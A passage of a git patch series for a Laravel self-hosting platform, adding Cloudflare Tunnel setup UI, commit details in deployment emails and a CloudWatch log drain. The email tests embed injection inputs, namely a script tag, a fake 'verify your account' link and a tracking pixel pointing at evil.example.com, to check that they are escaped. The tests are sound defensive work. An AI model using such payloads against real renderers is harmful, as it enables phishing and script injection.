    + + @if ($tunnelTokens->isEmpty()) + + @if ($hasCloudflareTokens) + Enable the Cloudflare Tunnel capability on a Cloudflare token + @else + Add a Cloudflare token with the DNS and Cloudflare Tunnel capabilities + @endif + in + Integration tokens. + The token needs Account - Cloudflare Tunnel - Edit, Zone - DNS - Edit, and Zone - Zone - Read. + + @can('create', App\Models\IntegrationToken::class) +
    + + + + + + +
    + @endcan + @else +
    +
    + + +
    +
    + Set up tunnel +
    +
    + @if ($dnsConflict) +
    + + {{ $dnsConflict['hostname'] }} already points to {{ $dnsConflict['current'] }}. + Replace it with the tunnel record to continue. + +
    + +
    +
    + @endif + @endif + +
    + +

    + For a tunnel you created in the Cloudflare dashboard. Coolify does not need a + Cloudflare API token for this. +

    +
    +
    + + +
    +
    + Configure tunnel +
    +
    +
    +
    @endcannot -
    - - - @can('update', $server) - - @endcan - + @endif + + @if (!$isCloudflareTunnelsEnabled && $server->isFunctional()) @script bug\n[Verify your account](https://evil.example.com)\n# Big heading", + ]); + + $html = renderDeploymentMail(DeploymentSuccess::class, $this->application, $deployment, $this->team); + + expect($html) + ->not->toContain('') + ->toContain('<script>') + ->not->toContain('href="https://evil.example.com"') + ->toContain('[Verify your account](https://evil.example.com)') + ->not->toContain('

    Big heading

    ') + ->toContain('# Big heading'); +}); + +it('lets team admins toggle commit details from email notification settings', function () { + $admin = User::factory()->create(); + $this->team->members()->attach($admin->id, ['role' => 'admin']); + $this->actingAs($admin); + session(['currentTeam' => $this->team]); + Cache::flush(); + + Livewire::test(NotificationEmail::class) + ->assertSet('deploymentCommitDetailsEmailNotifications', false) + ->set('deploymentCommitDetailsEmailNotifications', true) + ->call('instantSaveDeploymentCommitDetails') + ->assertHasNoErrors(); + + expect($this->team->emailNotificationSettings->fresh()->deployment_commit_details_email_notifications)->toBeTrue(); +}); + +it('does not let team members change the commit details setting', function () { + $member = User::factory()->create(); + $this->team->members()->attach($member->id, ['role' => 'member']); + $this->actingAs($member); + session(['currentTeam' => $this->team]); + Cache::flush(); + + Livewire::test(NotificationEmail::class) + ->set('deploymentCommitDetailsEmailNotifications', true) + ->call('instantSaveDeploymentCommitDetails') + ->assertSet('deploymentCommitDetailsEmailNotifications', false); + + expect($this->team->emailNotificationSettings->fresh()->deployment_commit_details_email_notifications)->toBeFalse(); +}); + +it('does not let admins of another team change the commit details setting', function () { + $otherTeam = Team::factory()->create(); + $outsider = User::factory()->create(); + $otherTeam->members()->attach($outsider->id, ['role' => 'admin']); + $this->actingAs($outsider); + session(['currentTeam' => $otherTeam]); + Cache::flush(); + + Livewire::test(NotificationEmail::class) + ->set('deploymentCommitDetailsEmailNotifications', true) + ->call('instantSaveDeploymentCommitDetails'); + + expect($this->team->emailNotificationSettings->fresh()->deployment_commit_details_email_notifications)->toBeFalse() + ->and($otherTeam->emailNotificationSettings->fresh()->deployment_commit_details_email_notifications)->toBeTrue(); +}); + +function bigMarkdownCommitMessage(): string +{ + return implode("\n", [ + 'feat(checkout): rebuild payment flow', + '', + '# Heading one', + 'Setext heading', + '==============', + '## Heading two', + '- bullet one', + '* bullet two', + '+ bullet three', + '1. first step', + '2. second step', + '> quoted text', + ' indented code line', + '```php', + 'echo "hello";', + '```', + '| Column A | Column B |', + '| -------- | -------- |', + '| cell 1 | cell 2 |', + '**bold** _italic_ ~~strike~~ `inline code`', + '[Reset your password](https://evil.example.com/reset)', + '![tracking pixel](https://evil.example.com/pixel.png)', + '', + '', + 'click me', + '---', + 'Co-authored-by: Jane Doe ', + 'Emoji check 🚀 ✅', + '', + str_repeat('Long body sentence for truncation. ', 60), + 'THIS_TAIL_SHOULD_BE_TRUNCATED', + ]); +} + +it('renders a big markdown commit message as plain safe text', function () { + enableCommitDetails($this->team); + $deployment = createDeploymentRow($this->application, ['commit_message' => bigMarkdownCommitMessage()]); + + $html = renderDeploymentMail(DeploymentSuccess::class, $this->application, $deployment, $this->team); + + expect($html) + ->toContain('feat(checkout): rebuild payment flow') + ->toContain('# Heading one') + ->toContain('==============') + ->toContain('- bullet one') + ->toContain('1. first step') + ->toContain('```php') + ->toContain('| Column A | Column B |') + ->toContain('**bold** _italic_ ~~strike~~ `inline code`') + ->toContain('Co-authored-by: Jane Doe <jane@example.com>') + ->toContain('Emoji check 🚀 ✅') + ->not->toContain("\u{FFFD}") + ->toContain('Long body sentence for truncation.') + ->not->toContain('THIS_TAIL_SHOULD_BE_TRUNCATED') + ->not->toContain('href="https://evil.example.com') + ->not->toContain('src="https://evil.example.com') + ->not->toContain('not->toContain('application, $deployment, $this->team); + + expect($html) + ->toContain('Fix caf') + ->toContain('menu (latin-1 byte)') + ->toContain('View Deployment Logs'); +}); + +it('builds commit details without querying the deployment queue', function (string $notificationClass) { + enableCommitDetails($this->team); + $deployment = createDeploymentRow($this->application); + + DB::flushQueryLog(); + DB::enableQueryLog(); + $notification = new $notificationClass($this->application, $deployment->deployment_uuid, null, $deployment); + $queries = collect(DB::getQueryLog())->pluck('query'); + DB::disableQueryLog(); + + expect($queries->filter(fn (string $query): bool => str_contains($query, 'application_deployment_queues')))->toBeEmpty() + ->and($notification->commit_sha)->toBe(DEPLOYMENT_EMAIL_COMMIT_SHA); +})->with([DeploymentSuccess::class, DeploymentFailed::class]); + +it('keeps the old constructor working without a deployment record', function () { + enableCommitDetails($this->team); + + $html = (string) (new DeploymentSuccess($this->application, 'legacy-call'))->toMail($this->team)->render(); + + expect($html) + ->toContain('View Deployment Logs') + ->not->toContain('Commit message:'); +}); + +it('passes the in-memory deployment record from the deployment job', function () { + Notification::fake(); + $this->team->emailNotificationSettings->update(['smtp_enabled' => true, 'deployment_success_email_notifications' => true]); + $deployment = createDeploymentRow($this->application); + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = $reflection->newInstanceWithoutConstructor(); + foreach (['application' => $this->application, 'deployment_uuid' => $deployment->deployment_uuid, 'preview' => null, 'application_deployment_queue' => $deployment] as $name => $value) { + $reflection->getProperty($name)->setValue($job, $value); + } + + $reflection->getMethod('sendDeploymentNotification')->invoke($job, DeploymentSuccess::class); + + Notification::assertSentTo($this->team, DeploymentSuccess::class, fn (DeploymentSuccess $notification) => $notification->commit_sha === DEPLOYMENT_EMAIL_COMMIT_SHA + && str_starts_with($notification->commit_message, 'Add checkout page')); +}); diff --git a/tests/Feature/MultiServerApplicationTest.php b/tests/Feature/MultiServerApplicationTest.php index 2f586e07b8..8f47010ac3 100644 --- a/tests/Feature/MultiServerApplicationTest.php +++ b/tests/Feature/MultiServerApplicationTest.php @@ -320,6 +320,25 @@ describe('combined deployment notification', function () { Notification::assertNothingSent(); }); + test('takes commit details for the summary from the main deployment', function () { + $parent = ApplicationDeploymentQueue::create([ + 'application_id' => $this->application->id, + 'deployment_uuid' => new_public_id(), + 'server_id' => $this->mainServer->id, + 'status' => ApplicationDeploymentStatus::FINISHED->value, + 'commit' => 'a1b2c3d4e5f60718293a4b5c6d7e8f9012345678', + 'commit_message' => 'Add checkout page', + ]); + Cache::put("multi-server-deployment-queued:{$parent->deployment_uuid}", true); + $child = createMultiServerDeployment($this->application, $this->extraServer, ApplicationDeploymentStatus::FINISHED->value, $parent->deployment_uuid); + $job = makeMultiServerDeploymentJob(['application' => $this->application, 'application_deployment_queue' => $child]); + + callMultiServerDeploymentJob($job, 'sendMultiServerDeploymentNotification', $parent->deployment_uuid); + + Notification::assertSentTo($this->team, DeploymentSuccess::class, fn (DeploymentSuccess $notification) => $notification->commit_sha === $parent->commit + && $notification->commit_message === 'Add checkout page'); + }); + test('sends a failed notification that links to the failed server deployment', function () { $parentUuid = new_public_id(); Cache::put("multi-server-deployment-queued:{$parentUuid}", true); From 0bc1288e81e4e3a81def6f2754653d99450cbe9a Mon Sep 17 00:00:00 2001 From: Maxwell <136101+mxswd@users.noreply.github.com> Date: Mon, 19 Oct 2026 07:20:42 +1000 Subject: [PATCH 05/10] Added docker awslogs driver to log drains (#11972) Co-authored-by: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> --- app/Actions/Database/StartClickhouse.php | 2 +- app/Actions/Database/StartDragonfly.php | 2 +- app/Actions/Database/StartKeydb.php | 2 +- app/Actions/Database/StartMariadb.php | 2 +- app/Actions/Database/StartMongodb.php | 2 +- app/Actions/Database/StartMysql.php | 2 +- app/Actions/Database/StartPostgresql.php | 2 +- app/Actions/Database/StartRedis.php | 2 +- app/Actions/Database/StartSqlite.php | 2 +- app/Actions/Server/StartLogDrain.php | 10 +- app/Actions/Service/StartService.php | 2 +- .../Api/ServerLogDrainsController.php | 41 +++ app/Jobs/ApplicationDeploymentJob.php | 2 +- app/Jobs/PushServerUpdateJob.php | 2 +- app/Jobs/ServerCheckJob.php | 2 +- app/Livewire/Server/LogDrains.php | 78 ++++++ app/Models/Server.php | 8 + app/Models/ServerSetting.php | 9 + bootstrap/helpers/parsers.php | 4 +- bootstrap/helpers/shared.php | 29 ++- ...tch_log_drain_to_server_settings_table.php | 36 +++ openapi.json | 56 ++++ openapi.yaml | 21 ++ .../livewire/server/log-drains.blade.php | 29 ++- tests/Feature/Api/ServerSubsystemsApiTest.php | 83 ++++++ .../LogDrain/CloudwatchLogDrainTest.php | 244 ++++++++++++++++++ tests/Feature/StandaloneSqliteTest.php | 26 ++ .../GenerateLogDrainConfigurationTest.php | 77 ++++++ 28 files changed, 756 insertions(+), 21 deletions(-) create mode 100644 database/migrations/2026_09_24_055934_add_cloudwatch_log_drain_to_server_settings_table.php create mode 100644 tests/Feature/LogDrain/CloudwatchLogDrainTest.php create mode 100644 tests/Unit/GenerateLogDrainConfigurationTest.php diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php index d053142d2c..bcf5e051f7 100644 --- a/app/Actions/Database/StartClickhouse.php +++ b/app/Actions/Database/StartClickhouse.php @@ -81,7 +81,7 @@ class StartClickhouse data_set($docker_compose, "services.{$container_name}.cpuset", $this->database->limits_cpuset); } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($this->database->ports_mappings_array) > 0) { $docker_compose['services'][$container_name]['ports'] = $this->database->ports_mappings_array; diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php index 16ad09c95d..0bef866db7 100644 --- a/app/Actions/Database/StartDragonfly.php +++ b/app/Actions/Database/StartDragonfly.php @@ -130,7 +130,7 @@ class StartDragonfly } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($this->database->ports_mappings_array) > 0) { diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index fa86576d5e..f7066fc1f8 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -132,7 +132,7 @@ class StartKeydb } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($this->database->ports_mappings_array) > 0) { diff --git a/app/Actions/Database/StartMariadb.php b/app/Actions/Database/StartMariadb.php index bf5739a86b..6f67500801 100644 --- a/app/Actions/Database/StartMariadb.php +++ b/app/Actions/Database/StartMariadb.php @@ -123,7 +123,7 @@ class StartMariadb } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($this->database->ports_mappings_array) > 0) { diff --git a/app/Actions/Database/StartMongodb.php b/app/Actions/Database/StartMongodb.php index 0afb0c4a6f..5d748cd4f4 100644 --- a/app/Actions/Database/StartMongodb.php +++ b/app/Actions/Database/StartMongodb.php @@ -130,7 +130,7 @@ class StartMongodb } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($this->database->ports_mappings_array) > 0) { diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php index ea723aada7..01e8ff5edf 100644 --- a/app/Actions/Database/StartMysql.php +++ b/app/Actions/Database/StartMysql.php @@ -125,7 +125,7 @@ class StartMysql } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($this->database->ports_mappings_array) > 0) { diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index c0949e51b8..ca22dcfebb 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -131,7 +131,7 @@ class StartPostgresql } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($this->database->ports_mappings_array) > 0) { diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index c12381aca8..6eecbec902 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -133,7 +133,7 @@ class StartRedis } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($this->database->ports_mappings_array) > 0) { diff --git a/app/Actions/Database/StartSqlite.php b/app/Actions/Database/StartSqlite.php index 9289cdf5a0..6cc806dc5e 100644 --- a/app/Actions/Database/StartSqlite.php +++ b/app/Actions/Database/StartSqlite.php @@ -69,7 +69,7 @@ class StartSqlite data_set($docker_compose, "services.{$container_name}.cpuset", $this->database->limits_cpuset); } if ($this->database->destination->server->isLogDrainEnabled() && $this->database->isLogDrainEnabled()) { - $docker_compose['services'][$container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$container_name]['logging'] = generate_log_drain_configuration($this->database->destination->server); } if (count($persistent_storages) > 0) { $docker_compose['services'][$container_name]['volumes'] = $persistent_storages; diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php index 8c0922642f..e72ddef02d 100644 --- a/app/Actions/Server/StartLogDrain.php +++ b/app/Actions/Server/StartLogDrain.php @@ -22,9 +22,17 @@ class StartLogDrain $type = 'axiom'; } elseif ($server->settings->is_logdrain_custom_enabled) { $type = 'custom'; + } elseif ($server->settings->is_logdrain_cloudwatch_enabled) { + $type = 'cloudwatch'; } else { $type = 'none'; } + if ($type === 'cloudwatch') { + // Containers ship logs directly via Docker's awslogs driver; no Fluent Bit container is needed. + StopLogDrain::run($server); + + return 'Amazon CloudWatch Logs uses the built-in Docker awslogs driver.'; + } if ($type !== 'none') { StopLogDrain::run($server); } @@ -212,7 +220,7 @@ Files: private function logDrainNetworkConnectCommands(Server $server): array { - if (! $server->isLogDrainEnabled()) { + if (! $server->isFluentBitLogDrainEnabled()) { return []; } diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php index a5812ced35..3823c71661 100644 --- a/app/Actions/Service/StartService.php +++ b/app/Actions/Service/StartService.php @@ -116,7 +116,7 @@ class StartService return []; } - if (! $service->destination?->server?->isLogDrainEnabled()) { + if (! $service->destination?->server?->isFluentBitLogDrainEnabled()) { return []; } diff --git a/app/Http/Controllers/Api/ServerLogDrainsController.php b/app/Http/Controllers/Api/ServerLogDrainsController.php index e56d6dfb2c..f07d95cc86 100644 --- a/app/Http/Controllers/Api/ServerLogDrainsController.php +++ b/app/Http/Controllers/Api/ServerLogDrainsController.php @@ -22,6 +22,10 @@ class ServerLogDrainsController extends Controller 'is_logdrain_custom_enabled', 'logdrain_custom_config', 'logdrain_custom_config_parser', + 'is_logdrain_cloudwatch_enabled', + 'logdrain_cloudwatch_region', + 'logdrain_cloudwatch_group', + 'logdrain_cloudwatch_stream_prefix', ]; private function findServerForTeam(int $teamId, string $uuid): ?Server @@ -43,6 +47,10 @@ class ServerLogDrainsController extends Controller 'is_logdrain_axiom_enabled' => (bool) $settings->is_logdrain_axiom_enabled, 'logdrain_axiom_dataset_name' => $settings->logdrain_axiom_dataset_name, 'is_logdrain_custom_enabled' => (bool) $settings->is_logdrain_custom_enabled, + 'is_logdrain_cloudwatch_enabled' => (bool) $settings->is_logdrain_cloudwatch_enabled, + 'logdrain_cloudwatch_region' => $settings->logdrain_cloudwatch_region, + 'logdrain_cloudwatch_group' => $settings->logdrain_cloudwatch_group, + 'logdrain_cloudwatch_stream_prefix' => $settings->logdrain_cloudwatch_stream_prefix, ]; if ($this->canReadSensitive()) { @@ -80,6 +88,10 @@ class ServerLogDrainsController extends Controller new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_custom_config', type: 'string', description: 'Only present with read:sensitive.'), new OA\Property(property: 'logdrain_custom_config_parser', type: 'string', description: 'Only present with read:sensitive.'), + new OA\Property(property: 'is_logdrain_cloudwatch_enabled', type: 'boolean'), + new OA\Property(property: 'logdrain_cloudwatch_region', type: 'string', nullable: true), + new OA\Property(property: 'logdrain_cloudwatch_group', type: 'string', nullable: true), + new OA\Property(property: 'logdrain_cloudwatch_stream_prefix', type: 'string', nullable: true, description: 'Prepended to the container name to form the log stream name.'), ], type: 'object', ), @@ -129,6 +141,10 @@ class ServerLogDrainsController extends Controller new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_custom_config', type: 'string'), new OA\Property(property: 'logdrain_custom_config_parser', type: 'string'), + new OA\Property(property: 'is_logdrain_cloudwatch_enabled', type: 'boolean'), + new OA\Property(property: 'logdrain_cloudwatch_region', type: 'string', nullable: true), + new OA\Property(property: 'logdrain_cloudwatch_group', type: 'string', nullable: true), + new OA\Property(property: 'logdrain_cloudwatch_stream_prefix', type: 'string', nullable: true, description: 'Prepended to the container name to form the log stream name.'), ], type: 'object', ), @@ -170,6 +186,10 @@ class ServerLogDrainsController extends Controller 'is_logdrain_custom_enabled' => 'boolean', 'logdrain_custom_config' => 'nullable|string', 'logdrain_custom_config_parser' => 'nullable|string', + 'is_logdrain_cloudwatch_enabled' => 'boolean', + 'logdrain_cloudwatch_region' => ['nullable', 'string', 'max:64', 'regex:/^[a-z]{2}(-[a-z]+)+-\d+$/'], + 'logdrain_cloudwatch_group' => ['nullable', 'string', 'regex:/^[\.\-_\/#A-Za-z0-9]{1,512}$/'], + 'logdrain_cloudwatch_stream_prefix' => ['nullable', 'string', 'max:256', 'regex:/^[A-Za-z0-9_\-\.\/#]*$/'], ]); $extraFields = array_diff(array_keys($request->all()), self::ALLOWED_FIELDS); @@ -226,6 +246,27 @@ class ServerLogDrainsController extends Controller ], 422); } + if ($settings->is_logdrain_cloudwatch_enabled) { + if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled || $settings->is_logdrain_highlight_enabled) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'is_logdrain_cloudwatch_enabled' => ['Amazon CloudWatch Logs cannot be enabled together with another log drain.'], + ], + ], 422); + } + $errors = []; + if (blank($settings->logdrain_cloudwatch_region)) { + $errors['logdrain_cloudwatch_region'] = ['The CloudWatch region is required when Amazon CloudWatch Logs is enabled.']; + } + if (blank($settings->logdrain_cloudwatch_group)) { + $errors['logdrain_cloudwatch_group'] = ['The CloudWatch log group is required when Amazon CloudWatch Logs is enabled.']; + } + if ($errors !== []) { + return response()->json(['message' => 'Validation failed.', 'errors' => $errors], 422); + } + } + $settings->save(); $server->refresh(); diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 9c8a42ce2d..710dcb823c 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -4185,7 +4185,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); $docker_compose['services'][$this->container_name]['labels'] = $labels; } if ($this->mainServer->isLogDrainEnabled() && $this->application->isLogDrainEnabled()) { - $docker_compose['services'][$this->container_name]['logging'] = generate_fluentd_configuration(); + $docker_compose['services'][$this->container_name]['logging'] = generate_log_drain_configuration($this->mainServer); } if ($this->application->settings->is_gpu_enabled) { $docker_compose['services'][$this->container_name]['deploy']['resources']['reservations']['devices'] = [ diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index 768ebddb22..ec1ac376f2 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -970,7 +970,7 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced private function checkLogDrainContainer() { - if ($this->server->isLogDrainEnabled() && $this->foundLogDrainContainer === false) { + if ($this->server->isFluentBitLogDrainEnabled() && $this->foundLogDrainContainer === false) { StartLogDrain::dispatch($this->server); } } diff --git a/app/Jobs/ServerCheckJob.php b/app/Jobs/ServerCheckJob.php index a4fa961345..0ec1ce606f 100644 --- a/app/Jobs/ServerCheckJob.php +++ b/app/Jobs/ServerCheckJob.php @@ -73,7 +73,7 @@ class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue CheckAndStartSentinelJob::dispatch($this->server); } - if ($this->server->isLogDrainEnabled()) { + if ($this->server->isFluentBitLogDrainEnabled()) { $this->checkLogDrainContainer(); } diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php index 965232af44..577941ec00 100644 --- a/app/Livewire/Server/LogDrains.php +++ b/app/Livewire/Server/LogDrains.php @@ -6,6 +6,7 @@ use App\Actions\Server\StartLogDrain; use App\Actions\Server\StopLogDrain; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Validation\ValidationException; use Livewire\Attributes\Validate; use Livewire\Component; @@ -42,6 +43,18 @@ class LogDrains extends Component #[Validate(['string', 'nullable'])] public ?string $logDrainCustomConfigParser = null; + #[Validate(['boolean'])] + public bool $isLogDrainCloudwatchEnabled = false; + + #[Validate(['string', 'nullable', 'max:64', 'regex:/^[a-z]{2}(-[a-z]+)+-\d+$/'])] + public ?string $logDrainCloudwatchRegion = null; + + #[Validate(['string', 'nullable', 'regex:/^[\.\-_\/#A-Za-z0-9]{1,512}$/'])] + public ?string $logDrainCloudwatchGroup = null; + + #[Validate(['string', 'nullable', 'max:256', 'regex:/^[A-Za-z0-9_\-\.\/#]*$/'])] + public ?string $logDrainCloudwatchStreamPrefix = null; + public function mount(string $server_uuid) { try { @@ -99,6 +112,21 @@ class LogDrains extends Component } } + private function syncDataCloudwatch(bool $toModel = false): void + { + if ($toModel) { + $this->server->settings->is_logdrain_cloudwatch_enabled = $this->isLogDrainCloudwatchEnabled; + $this->server->settings->logdrain_cloudwatch_region = $this->logDrainCloudwatchRegion; + $this->server->settings->logdrain_cloudwatch_group = $this->logDrainCloudwatchGroup; + $this->server->settings->logdrain_cloudwatch_stream_prefix = $this->logDrainCloudwatchStreamPrefix; + } else { + $this->isLogDrainCloudwatchEnabled = $this->server->settings->is_logdrain_cloudwatch_enabled; + $this->logDrainCloudwatchRegion = $this->server->settings->logdrain_cloudwatch_region; + $this->logDrainCloudwatchGroup = $this->server->settings->logdrain_cloudwatch_group; + $this->logDrainCloudwatchStreamPrefix = $this->server->settings->logdrain_cloudwatch_stream_prefix; + } + } + private function syncData(bool $toModel = false, ?string $type = null): void { if ($toModel) { @@ -109,10 +137,16 @@ class LogDrains extends Component $this->syncDataAxiom($toModel); } elseif ($type === 'custom') { $this->syncDataCustom($toModel); + } elseif ($type === 'cloudwatch') { + $this->syncDataCloudwatch($toModel); } else { $this->syncDataNewRelic($toModel); $this->syncDataAxiom($toModel); $this->syncDataCustom($toModel); + $this->syncDataCloudwatch($toModel); + } + if ($this->enabledLogDrainCount() > 0) { + $this->server->settings->is_logdrain_highlight_enabled = false; } $this->auditLogDrain('updated'); $this->server->settings->save(); @@ -123,16 +157,27 @@ class LogDrains extends Component $this->syncDataAxiom($toModel); } elseif ($type === 'custom') { $this->syncDataCustom($toModel); + } elseif ($type === 'cloudwatch') { + $this->syncDataCloudwatch($toModel); } else { $this->syncDataNewRelic($toModel); $this->syncDataAxiom($toModel); $this->syncDataCustom($toModel); + $this->syncDataCloudwatch($toModel); } } } public function customValidation() { + if ($this->enabledLogDrainCount() > 1) { + $this->syncData(); + + throw ValidationException::withMessages([ + 'logDrain' => 'Only one log drain can be enabled at a time. Disable the current log drain first.', + ]); + } + if ($this->isLogDrainNewRelicEnabled) { try { $this->validate([ @@ -164,6 +209,18 @@ class LogDrains extends Component } catch (\Throwable $e) { $this->isLogDrainCustomEnabled = false; + throw $e; + } + } elseif ($this->isLogDrainCloudwatchEnabled) { + try { + $this->validate([ + 'logDrainCloudwatchRegion' => ['required', 'max:64', 'regex:/^[a-z]{2}(-[a-z]+)+-\d+$/'], + 'logDrainCloudwatchGroup' => ['required', 'regex:/^[\.\-_\/#A-Za-z0-9]{1,512}$/'], + 'logDrainCloudwatchStreamPrefix' => ['string', 'nullable', 'max:256', 'regex:/^[A-Za-z0-9_\-\.\/#]*$/'], + ]); + } catch (\Throwable $e) { + $this->isLogDrainCloudwatchEnabled = false; + throw $e; } } @@ -192,6 +249,8 @@ class LogDrains extends Component $previousNewRelicEnabled = $this->server->settings->is_logdrain_newrelic_enabled; $previousAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled; $previousCustomEnabled = $this->server->settings->is_logdrain_custom_enabled; + $previousCloudwatchEnabled = $this->server->settings->is_logdrain_cloudwatch_enabled; + $previousHighlightEnabled = $this->server->settings->is_logdrain_highlight_enabled; try { $this->authorize('update', $this->server); @@ -206,6 +265,7 @@ class LogDrains extends Component $this->isLogDrainNewRelicEnabled = $type === 'newrelic'; $this->isLogDrainAxiomEnabled = $type === 'axiom'; $this->isLogDrainCustomEnabled = $type === 'custom'; + $this->isLogDrainCloudwatchEnabled = $type === 'cloudwatch'; } $this->syncData(true); @@ -224,6 +284,8 @@ class LogDrains extends Component $this->server->settings->is_logdrain_newrelic_enabled = $previousNewRelicEnabled; $this->server->settings->is_logdrain_axiom_enabled = $previousAxiomEnabled; $this->server->settings->is_logdrain_custom_enabled = $previousCustomEnabled; + $this->server->settings->is_logdrain_cloudwatch_enabled = $previousCloudwatchEnabled; + $this->server->settings->is_logdrain_highlight_enabled = $previousHighlightEnabled; $this->server->settings->save(); $this->syncData(); @@ -247,12 +309,23 @@ class LogDrains extends Component return view('livewire.server.log-drains'); } + private function enabledLogDrainCount(): int + { + return count(array_filter([ + $this->isLogDrainNewRelicEnabled, + $this->isLogDrainAxiomEnabled, + $this->isLogDrainCustomEnabled, + $this->isLogDrainCloudwatchEnabled, + ])); + } + private function enabledProperty(string $type): string { return match ($type) { 'newrelic' => 'isLogDrainNewRelicEnabled', 'axiom' => 'isLogDrainAxiomEnabled', 'custom' => 'isLogDrainCustomEnabled', + 'cloudwatch' => 'isLogDrainCloudwatchEnabled', default => throw new \InvalidArgumentException('Unknown log drain type.'), }; } @@ -282,6 +355,11 @@ class LogDrains extends Component 'logDrainCustomConfig' => ['required'], 'logDrainCustomConfigParser' => ['string', 'nullable'], ]), + 'cloudwatch' => $this->validate([ + 'logDrainCloudwatchRegion' => ['required', 'max:64', 'regex:/^[a-z]{2}(-[a-z]+)+-\d+$/'], + 'logDrainCloudwatchGroup' => ['required', 'regex:/^[\.\-_\/#A-Za-z0-9]{1,512}$/'], + 'logDrainCloudwatchStreamPrefix' => ['string', 'nullable', 'max:256', 'regex:/^[A-Za-z0-9_\-\.\/#]*$/'], + ]), default => throw new \InvalidArgumentException('Unknown log drain type.'), }; } diff --git a/app/Models/Server.php b/app/Models/Server.php index e6b85e522f..fa4c454885 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -2056,6 +2056,14 @@ $siteAddress { } public function isLogDrainEnabled() + { + return $this->isFluentBitLogDrainEnabled() || $this->settings->is_logdrain_cloudwatch_enabled; + } + + /** + * Whether the active log drain relies on the coolify-log-drain Fluent Bit container. + */ + public function isFluentBitLogDrainEnabled(): bool { return $this->settings->is_logdrain_newrelic_enabled || $this->settings->is_logdrain_highlight_enabled || $this->settings->is_logdrain_axiom_enabled || $this->settings->is_logdrain_custom_enabled; } diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index f2c6116c06..706d90c517 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -26,6 +26,7 @@ use OpenApi\Attributes as OA; 'is_cloudflare_tunnel' => ['type' => 'boolean'], 'is_jump_server' => ['type' => 'boolean'], 'is_logdrain_axiom_enabled' => ['type' => 'boolean'], + 'is_logdrain_cloudwatch_enabled' => ['type' => 'boolean'], 'is_logdrain_custom_enabled' => ['type' => 'boolean'], 'is_logdrain_highlight_enabled' => ['type' => 'boolean'], 'is_logdrain_newrelic_enabled' => ['type' => 'boolean'], @@ -47,6 +48,9 @@ use OpenApi\Attributes as OA; 'is_usable' => ['type' => 'boolean'], 'logdrain_axiom_api_key' => ['type' => 'string'], 